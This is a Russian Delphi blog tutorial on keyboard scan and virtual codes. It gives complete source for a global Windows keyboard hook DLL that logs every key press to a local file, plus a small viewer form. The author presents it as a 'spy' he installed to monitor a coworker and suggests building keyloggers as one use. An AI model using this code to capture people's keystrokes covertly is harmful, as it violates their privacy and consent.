Подписка

добавить на Яндекс

Наши проекты

Delphi+Google

Google API

Google API в Delphi - проект с открытым исходным кодом.

Chrono

Chrono

Хронометр - программа для ведения списка задач.

ODFProc

ODFProc

ODFProc - работа с документами OpenOffice в Lazarus и FreePascal.

Поддержка блога

А тут я коплю на лицензию Delphi XE на iPad =).
Сумма пожертвования не фиксирована.

Публикации

Год назад

Случайный пост

Последние

Сообщения форума

Комментарии

Социальные сети

Google

Facebook

Twitter

Опрос

Вы сейчас или в ближайшем обозримом будущем планируете разрабатывать кроссплатформенное приложение с использованием Firemonkey?



Loading ... Loading ...

Блоги и сообщества

Статьи по Delphi DelphiFeeds.ru - Все Delphi-блоги Рунета Сообщество умных людей VR-Online.RU Бесплатный журнал для программистов и всех, кто интересуется IT Статьи и уроки по Delphi Новостной блог о высоких технологиях
Система Orphus
Опубликовал Vlad 9 августа 2009 в 20:03.
Категории: Моя работа, Основы Delphi.


Big_keyboardВ начале, как полагается, разберемся с вопросом: зачем нам нужны виртуальные и скан-коды клавиш?

Лично для меня изучить этот вопрос сподвигла небольшая проблема при тестировании одной из программ в отделе экологов. Дело в том, что встречается такой тип людей, которые почему-то страх как боятся компьютеров, несмотря на то, что без них не могут обойтись, да к тому же не могут толком объяснить, в случае проблемы, что собственно случилось.

Начинаешь тестировать программу, устанавливаешь на компьютер пользователя, объясняешь все популярно (тот, естественно, что-то помечает на обрывках бумажек), спрашиваешь "Понял?", тот - "Да, понял." Уходишь, через день приходишь и начинается "Программа не работает", "Там что-то какое-то окошко появилось" и т.д. и т.п. Спрашиваешь "Что делал?" Показывает действие за действием - ошибок нет...Как работал человек? Не понятно. Сидеть целый день за спиной у него и наблюдать - не вариант. Заставлять записывать за собой всё, что делал - изуверство. Интерфейс упростил дальше некуда, даже не Hint'ы  зделал, а втупую подписи под каждым контролом, что куда писать. Не помогло. В итоге, родилась простая, на первый взгляд идея - установить на компьютер пользователя небольшую программку-шпиона, чтобы отслеживала все действия, которые тот творит над программой. Естественно, предупредив перед этим работника, что теперь все его действия над программой сохраняются (только не сказал куда...мало ли). Вот в процессе работы над моим псевдо-шпионом мне и потребовались дополнительные знания по работе с клавиатурой.< ' ' >

Вы же можете использовать полученные знания где угодно:

  • создавать клавиатурных шпионов (только учтите, что тот же "Касперский" их распознает очень хорошо)
  • использовать коды в своих программах, например, если Вам захочется, чтобы программа выполняла какое-либо действие после нажатия на дополнительную клавишу, такую как F13 на навороченных клавиатурах и пр.
  • разрабатывать приложения типа Punto Switcher и пр.

Сразу оговорюсь - в этой статье я не буду выкладывать весь исходник моего "шпиона", только ту часть, которая отвечает за перехват нажатия клавиши. Это связано с тем, что для полноценной работы моей программы мне также пришлось разобраться немного с Windows API,  чтобы отслеживать действия только с моей программой, а это уже целая отдельная статья.

Теперь непосредственно по скан-кодам. В буфере клавиатуры отводится два байта на каждый символ (весь размер буфера - 32 байта, т.е. 16 нажатий клавиш) - один из них представляет собой скан-код, второй - символьный код (для управляющих клавиш он равен нулю). В числом виде скан-коды требуются на практике очень редко, но чтобы их узнать, можно воспользоваться небольшой программкой на Pascal'е:

uses crt,dos;
var xah, xal:byte;
begin
asm
mov ah,10h {функция чтения из клавиатуры}
int 16h
mov xah, ah
mov xal, al
end;
writeln('Symbol = ', xal, ' Scan = ', xah);
end.

То есть после нажатия какой-нибудь клавиши в регистре al окажется код символа, а в ah - скан код.

Теперь про виртуальные коды. Виртуальные коды - это то, что использует система для идентификации клавиш. Т.е., зная виртуальный код клавиши, можно со 100% уверенностью хоть через неделю сказать пользователю, что он такого нажимал (и в какой последовательности). Дополнительно, зная текущую раскладку, можно также определить, что писал пользователь, но это уже немного другой вопрос.

Теперь напишем небольшую ловушку для клавиатуры, которая будет отлавливать все нажатия клавиш и писать лог-файл, в котором будет содержаться скан-код и виртуальный код нажатой клавиши.

library Spyhook;
uses Messages, Windows, Ariphm;
var HookHandle: HHOOK;
ft: TextFile;
function KeyboardProc(Code:Integer;wParam: wParam; LParam:LParam):integer; stdcall;
begin
  if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam)
  else
    if byte(LParam shr 24)<$80 then
      begin
         try
           append(ft);
         except
         exit;
      end;
  writeln(ft, 'Key(wParam)=$',hexw(wParam),' LParam =$',hexlong(lParam));
closefile(ft);
end;
  CallNextHookEx(HookHandle, code, WParam, LParam)
end;

procedure SetHook; stdcall;
begin
  HookHandle:=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,HInstance,0);
end;

procedure DelHook; stdcall;
begin
  UnhookWindowsHookEx(HookHandle);
end;

exports
SetHook, DelHook;

begin
AssignFile(ft, 'c:keyhook.txt');
end.

Собственно, опытный глаз программиста сразу может увидеть недостаток, а именно - работа с файлом из DLL, что не рекомендуется. В идеале в DLL следует только определять коды и отсылать и в основную программу, а та в свою очередь пусть пишет их файл, но, как показала практика, может сгодиться и такой вариант.

Обратите внимание на выражение

byte(LParam shr 24)<$80

здесь определяется была ли нажата клавиша. Если да, то записываем файл. Если это условие убрать, то каждое действие на клавиатуре будет дублироваться, т.е. в файл запишется нажатая клавиша и отпущенная.

Теперь пишем основное приложение. Для демонстрации действия ловушки я сделал вот такую форму:

spyhookВ верхний Memo записываем какой-либо текст, а в нижнем, по действию таймера, выписывается содержимое лог-файла. Таким образом Вы сможете практически "на лету" видеть, что происходит, какие данные передаются, что нажимается, какой параметр изменяется и т.д. и т.п.

Кстати, советую поставить по-больше задержку на таймере, иначе не будете успевать просмотреть всё содержимое.

Теперь делаем ссылки на необходимые нам процедуры из DLL. Будем загружать все необходимые процедуры (а их аж 2 штуки) сразу же после запуска программы. После описания формы пишем:

....
procedure SetHook; stdcall; External 'Spyhook.dll';
procedure DelHook; stdcall; External 'Spyhook.dll';
....

На событие onCreate необходимо открыть или создать лог-файл и запустить нашу ловушку.

procedure TForm1.FormCreate(Sender: TObject);
var ft: TextFile;
begin
AssignFile(ft, 'c:keyhook.txt');
try
reset(ft);
except
rewrite(ft);
end;
CloseFile(ft);
SetHook;  //запуск ловушки
end;

Соответственно, на закрытие приложения ловушку необходимо выгрузить:

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
DelHook;
end;

Вывод содержимого лог-файла в Memo делается проще простого:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
Memo2.Clear;
Memo2.Lines.LoadFromFile('c:keyhook.txt');
end;

Вот и все, что от нас требовалось. Теперь запускаем приложение (предварительно положив рядом с ним созданную DLL) и любуемся результатом:

spyhook2Как видите в wParam мы получаем необходимый виртуальный код, а в LParam - скан-код и дополнительные сведения, например, признак расширенной клавиши. Все данные сохраняются в HEX-форме и при желании вы их сможете легко расшифровать. Если возникнут трудности - обращайтесь, разберемся вместе.

Да, кстати, чуть было не забыл. Модуль Ariphm, описаный в uses у DLL - не стандартный, поэтому его я выложу в конце статьи, т.е. прямо сейчас :)
Файлы для загрузки:
1. Модуль Ariphm
2. Исходник ловушки для клавиатуры
3. Обновленный исходник для ловушки и готовая DLL
Если хотите создать такой же блог как у меня - то Вам подойдет Виртуальный хостинг по низким ценам и с хорошей тех.поддержкой.

Мой блог находят по следующим фразам

Понравилась статья? Тогда:
Делись! Загружай! Плюсуй!
   Отправить PDF на   
Читай ещё статьи на WebDelphi.ru

Комментарии (5)

WP_Cloudy
  • Алексей пишет:

    Здравствуйте, Влад. Возможно мой вопрос вам покажется странным и не по адресу, но на просторах интернета я себе внятного ответа не обнаружил.
    Суть в следующем: требуется написать программу, одной из задач которой является выполнение процедуры по нажатию по F5 и CTRL+F5, а так же перекодировка символов в теле программы. Не могли бы вы мне подсказать, как это можно реализовать? желательно без использования ДЛЛ, на выходе предпочтительно иметь 1 экзешник.

  • Vlad пишет:

    Алексей, я бы зарегистрировал пару сочетаний горячих клавиш при запуске программы и «прятал» бы такую программку, например, в трей. По поводу регистрации горячих клавиш надо смотреть инфу по методам: RegisterHotKey() и UnregisterHotKey(). Получается программка без DLL не мазолящая глаза :)

  • xkeen пишет:

    Если еще актуально… Горячие клавиши удобно отлавливать с помощью ActionList. Создаешь Action в свойству ShortCut присваиваешь сочетание клавиш. А на OnExecute нужную процедуру обработки.

  • Vlad пишет:

    xkeen, Такие комментарии всегда актуальны, тем более в блоге связанном с программированием — посетители узнают ещё один способ работы с горячими клавишами. Спасибо :)

  • Sasha пишет:

    Извините за повтор в первом сообщение не указал адрес блога. Скажите пожалуйста возможно реализовать немного иную программу, а именно : перехват нажатия на виртуальной клавиатуре и транслировать их во все приложения как нажатие обычной клавиатуры?

Ваш ответ

Внимание: Все комментарии модерируются, и это может вызвать задержку их публикации. Отправлять комментарий заново не требуется.

Пожалуйста, заключайте исходный код в тэги [code][/code].
Если код большой, то воспользуйтесь Вставкой кода на отдельной странице и оставьте в комментарии ссылку на исходник

   


рено сервис москва